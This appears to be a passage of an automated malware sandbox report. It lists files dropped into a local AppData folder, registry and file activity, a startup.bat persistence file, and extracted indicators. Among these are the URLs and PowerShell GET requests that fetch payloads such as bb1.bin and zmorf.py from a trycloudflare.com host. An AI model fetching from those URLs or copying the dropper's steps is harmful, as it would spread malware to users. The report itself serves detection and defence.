[%LOCALAPPDATA%\xt\_zstd.pyd]- [targetUID: 00000000-00007708] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_decimal.pyd]- [targetUID: 00000000-00005872] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_ssl.pyd]- [targetUID: 00000000-00005872] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_lzma.pyd]- [targetUID: 00000000-00007708] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_ctypes.pyd]- [targetUID: 00000000-00007708] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "urlref_httpsopposite-lodge-strict-closes.trycloudflare.comG143822563.pdf" has type "PDF document version 1.7 4 page(s) (zip deflate encoded)"- [targetUID: N/A] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_bz2.pyd]- [targetUID: 00000000-00007708] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_socket.pyd]- [targetUID: 00000000-00005872] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%LOCALAPPDATA%\xt\_asyncio.pyd]- [targetUID: 00000000-00005872] "_remote_debugging.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_remote_debugging.pyd]- [targetUID: 00000000-00005872] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_overlapped.pyd]- [targetUID: 00000000-00005872] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_zoneinfo.pyd]- [targetUID: 00000000-00005872] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_wmi.pyd]- [targetUID: 00000000-00005872] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_queue.pyd]- [targetUID: 00000000-00005872] "LICENSE.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%LOCALAPPDATA%\xt\LICENSE.txt]- [targetUID: 00000000-00005872] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\select.pyd]- [targetUID: 00000000-00005872] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_uuid.pyd]- [targetUID: 00000000-00005872] "zmorf.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- Location: [%LOCALAPPDATA%\xt\zmorf.py]- [targetUID: 00000000-00003108] "urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxts1.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "s2.txt" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\xt\s2.txt]- [targetUID: 00000000-00006572] "BB1.txt" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\xt\BB1.txt]- [targetUID: 00000000-00006572] "python314._pth" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\xt\python314._pth]- [targetUID: 00000000-00007708] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003044] "BB1.bin" has type "data"- Location: [%LOCALAPPDATA%\xt\BB1.bin]- [targetUID: 00000000-00006572] "urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxtzmorf.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- [targetUID: N/A] "s1.txt" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\xt\s1.txt]- [targetUID: 00000000-00007708]49:Tc98,"cmd.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "cmd.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "cmd.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "cmd.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" (Filter: 268435461; Subtree: 1) "cmd.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" (Filter: 268435461; Subtree: 1) "cmd.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\DelegateFolders" (Filter: 268435461; Subtree: 1) "cmd.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 0) "cmd.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\ProviderOrder" (Filter: 4; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1)4a:T940,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\TREATAS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\TREATAS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\INPROCSERVER32"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\INPROCSERVER32"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\INPROCHANDLER32"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\INPROCHANDLER32"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\INPROCHANDLER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}\INPROCHANDLER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "")4b:T492,"python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%LOCALAPPDATA%\xt\python314.dll]- [targetUID: 00000000-00007708] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\libcrypto-3.dll]- [targetUID: 00000000-00005872] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\sqlite3.dll]- [targetUID: 00000000-00005872] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\libssl-3.dll]- [targetUID: 00000000-00005872] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\vcruntime140.dll]- [targetUID: 00000000-00007708] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%LOCALAPPDATA%\xt\python3.dll]- [targetUID: 00000000-00007708] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\vcruntime140_1.dll]- [targetUID: 00000000-00005872]4c:T94c,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "MAXIMUMALLOWEDALLOCATIONSIZE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3480A401-BDE9-4407-BC02-798A866AC051}"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{0F4ACCB1-D8F9-4011-BA37-2557925A78CF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1A66AEDC-93C3-4ACC-BA96-08F5716429F7}"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1A66AEDC-93C3-4ACC-BA96-08F5716429F7}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1A66AEDC-93C3-4ACC-BA96-08F5716429F7}\INPROCSERVER32"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1A66AEDC-93C3-4ACC-BA96-08F5716429F7}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1A66AEDC-93C3-4ACC-BA96-08F5716429F7}"; Key: "APPID"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{267265C8-EB6E-409D-B104-E6451EE39433}\PROXYSTUBCLSID32"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}\PROXYSTUBCLSID32"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{49244656-5EA6-5680-BF99-87EF7636F6C8}\PROXYSTUBCLSID32"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "DATA"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "GENERATION"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "")4d:T545,"cmd.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "cmd.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "cmd.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "cmd.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat" "cmd.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "cmd.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"4e:Tabc,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll"4f:T875,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Windows\System32\CMD.EXE.LOCAL" "cmd.exe" trying to access non-existent file "C:\WINDOWS\system32\cmd.exe.Local\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml"50:T406,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_101rittz.p4e.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_fpsdrg3m.qbj.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_101rittz.p4e.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_fpsdrg3m.qbj.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "cmd.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\startup\startup.bat" "cmd.exe" writes file "%appdata%\microsoft\windows\start menu\programs\startup\startup.bat" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_x0ien3mv.x3r.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_kjwqxdww.vgw.psm1"51:T21f9,Pattern match: "opposite-lodge-strict-closes.trycloudflare.com/g143822563.pdf" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/g143822563.pdf" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin" Pattern match: "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt" Pattern match: "https://opposite-lodge-strict-closes.trycloudflare.comset" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0*g" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0huddg" Pattern match: "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "http://www.w3.org/xml/1998/namespacecdatandatanotationentitypublicpcdatasystemdoctypeelementimpliedattlistversionutf-16" Pattern match: "http://www.w3.org/xml/1998/namespacecdatanotation" Pattern match: "https://aka.ms/invoice-billing" Pattern match: "www.memtest86.com" Heuristic match: "opposite-lodge-strict-closes.trycloudflare.com" Heuristic match: "/xt/zmorf.py" Heuristic match: "get /xt/bb1.bin http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: opposite-lodge-strict-closes.trycloudflare.com" Heuristic match: "get /xt/bb1.txt http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: opposite-lodge-strict-closes.trycloudflare.com" Heuristic match: "get /xt/s1.bin http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: opposite-lodge-strict-closes.trycloudflare.com" Heuristic match: "get /xt/s1.txt http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: opposite-lodge-strict-closes.trycloudflare.com" Heuristic match: "get /xt/s2.bin http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: opposite-lodge-strict-closes.trycloudflare.com" Heuristic match: "get /xt/s2.txt http/1.1user-agent: mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248host: opposite-lodge-strict-closes.trycloudflare.com" Pattern match: "www.python.org" Pattern match: "https://opposite-lodge-strict-closes.trycloudflar" Heuristic match: "%localappdata%\xt\zmorf.py" Heuristic match: "soft.net" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "olicy.12.0.microsoft.office.infopath.client.in" Heuristic match: "se;.wsf;.wsh;.ms" Heuristic match: "ystem.data.com" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Heuristic match: "15.cat" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "5.cat" Heuristic match: "ntrust.net" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ystem.management.au" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: 